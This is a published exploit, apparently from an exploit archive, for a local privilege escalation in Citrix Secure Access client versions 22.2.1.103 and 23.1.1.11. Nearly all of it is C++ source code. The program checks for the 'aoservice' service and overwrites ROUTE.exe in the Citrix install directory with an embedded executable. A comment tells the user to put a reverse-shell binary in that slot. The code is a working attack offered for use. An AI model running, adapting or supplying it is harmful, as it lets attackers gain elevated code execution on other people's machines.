Citrix 22.2.1.103 / 23.1.1.11 Local Privilege Escalation

//Discovered by:: TOUHAMI KASBAOUI - VXREMALWARE//Discover date : 25/03/2023//Reported to Citrix: 25/03/2023//Tested Version: 22.2.1.103, 23.1.1.11/Last version//Exploit: https://github.com/sqrtZeroKnowledge/Citrix_Secure_Access_LPE_0DAY#define UNICODE#define _UNICODE#include <Windows.h>#include <string>#include <iostream>#include <Windows.h>#include <iostream>using namespace std;enum Result{    unknown,    serviceManager_AccessDenied,    serviceManager_DatabaseDoesNotExist,    service_AccessDenied,    service_InvalidServiceManagerHandle,    service_InvalidServiceName,    service_DoesNotExist,    service_Exist};Result ServiceExists(const std::wstring& serviceName){    Result r = unknown;    SC_HANDLE manager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, GENERIC_READ);    if (manager == NULL)    {        DWORD lastError = GetLastError();        if (lastError == ERROR_ACCESS_DENIED)            return serviceManager_AccessDenied;        else if (lastError == ERROR_DATABASE_DOES_NOT_EXIST)            return serviceManager_DatabaseDoesNotExist;        else            return unknown;    }    SC_HANDLE service = OpenService(manager, serviceName.c_str(), GENERIC_READ);    if (service == NULL)    {        DWORD error = GetLastError();        if (error == ERROR_ACCESS_DENIED)            r = service_AccessDenied;        else if (error == ERROR_INVALID_HANDLE)            r = service_InvalidServiceManagerHandle;        else if (error == ERROR_INVALID_NAME)            r = service_InvalidServiceName;        else if (error == ERROR_SERVICE_DOES_NOT_EXIST)            r = service_DoesNotExist;        else            r = unknown;    }    else        r = service_Exist;    if (service != NULL)        CloseServiceHandle(service);    if (manager != NULL)        CloseServiceHandle(manager);    return r;}int main() {    const uint8_t shellcode[7168] = {        0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00,        0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,    }; //You can set array bin of your reverse shell PE file here    std::wstring serviceName = L"aoservice";    Result result = ServiceExists(serviceName);    if (result == service_Exist)        std::wcout << L"The service '" << serviceName << "' exists." << std::endl;    else if (result == service_DoesNotExist)        std::wcout << L"The service '" << serviceName << "' does not exist." << std::endl;    else        std::wcout << L"An error has occurred, and it could not be determined whether the service '" << serviceName << "' exists or not." << std::endl;         HANDLE fileHandle = CreateFile(L"C:\\Program Files\\Citrix\\Secure Access Client\\ROUTE.exe", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);    cerr << "[*] Loading Malicious file into Citric Secure Access Installer \n";    if (fileHandle == INVALID_HANDLE_VALUE) {        cerr << "Failed to create shellcode\n";        return 1;    }    DWORD bytesWritten;    if (!WriteFile(fileHandle, shellcode, sizeof(shellcode), &bytesWritten, NULL)) {        cerr << "Failed to write to file\n";        CloseHandle(fileHandle);        return 1;    }    CloseHandle(fileHandle);    cout << "Shellcode exported to Citrix Secure Access path \n";    return 0;}